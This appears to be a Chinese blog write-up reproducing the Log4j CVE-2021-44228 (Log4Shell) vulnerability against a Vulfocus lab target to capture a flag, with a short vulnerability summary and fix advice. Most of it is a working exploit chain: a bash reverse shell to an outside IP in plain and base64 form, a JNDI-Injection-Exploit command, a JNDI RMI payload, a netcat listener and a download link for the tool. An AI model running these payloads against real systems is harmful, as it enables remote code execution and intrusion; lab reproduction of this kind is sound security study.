log4j 远程执行代码CVE-2021-44228复现

0x01 漏洞简述

2021年12月09日,360CERT监测发现Apache Log4j 2存在JNDI远程代码执行,漏洞等级:严重,漏洞评分:10.0。

Apache Log4j 2是一个开源的日志记录组件,使用非常的广泛,使用情况参考:

对此,360CERT建议广大用户尽快将·Apache Log4j 2进行升级,以免遭受黑客攻击。

0x02 漏洞最新情况

基本信息 详情 相关组件 Apache Log4j2 CVE编号 CVE-2021-44228 漏洞类型 远程代码执行 漏洞评分 10.0
风险等级 等级 威胁等级 严重 影响范围 广泛 攻击者价值 极高 利用难度 极低
利用状态 最新情况 PoC/EXP 已公开 在野利用 已存在 漏洞细节 已公开 安全补丁 已发布

0x03影响版本

注:Apache Log4j 1.x 版本不受此次漏洞影响。

0x04漏洞复现

1.先将工具下载

工具下载:链接: https://pan.baidu.com/s/12aEyW1P7NopJm-n53jnAEQ 提取码: nv8g

2.打开本地服务器文件上传,先建一个名为ddd的文件夹 把下载的工具放进去

3.进入这个工具的目录下

4.在这个目录下(ddd)服务器执行(自己的本地服务器ip)

bash -i >& /dev/tcp/121.4.55.89/6666 0>&1

YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjEuNC41NS44OS82NjY2IDA+JjE=(上面代码base64编码后)

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiA
vZGV2L3RjcC8xMjEuNC41NS44OS82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}" -A "121.4.55.89"

5.发现1099端口开放,所以我们服务器也要开放这个端口

6.放行之后就要到靶场找flag

7.访问地址图片可以看到

http://vulfocus.fofa.so:20452/

8.抓包要抓页面ok的包

这里面要改payload

payload=$%7bjndi:rmi://121.4.55.89:1099/i3ydu1%7d

(本机服务器ip地址)(i3ydu1为下图选框)

之后就开始监听了,服务器复制一个终端输入

nc -lvvp 6666

burpsuit里面修改完payload之后发送到repeater(重发器),

点击按钮send,发现出现OK字样

观察服务器终端监听页面已经出现监听内容

flag在tmp目录下

直接ls

复制到靶场

通关

复现流程:服务器上传工具并运行以上代码---burpsuit抓包改为payload---服务器监听--等待监听结果

0x05修复建议

    1.更新log4j至 rc2( 2.配置防火墙策略,禁止主动连接外网设备
    3.升级受影响的应用及组件 4.过滤相关的关键词,比如${jndi://*}
    ......
经验分享 程序员 微信小程序 职场和发展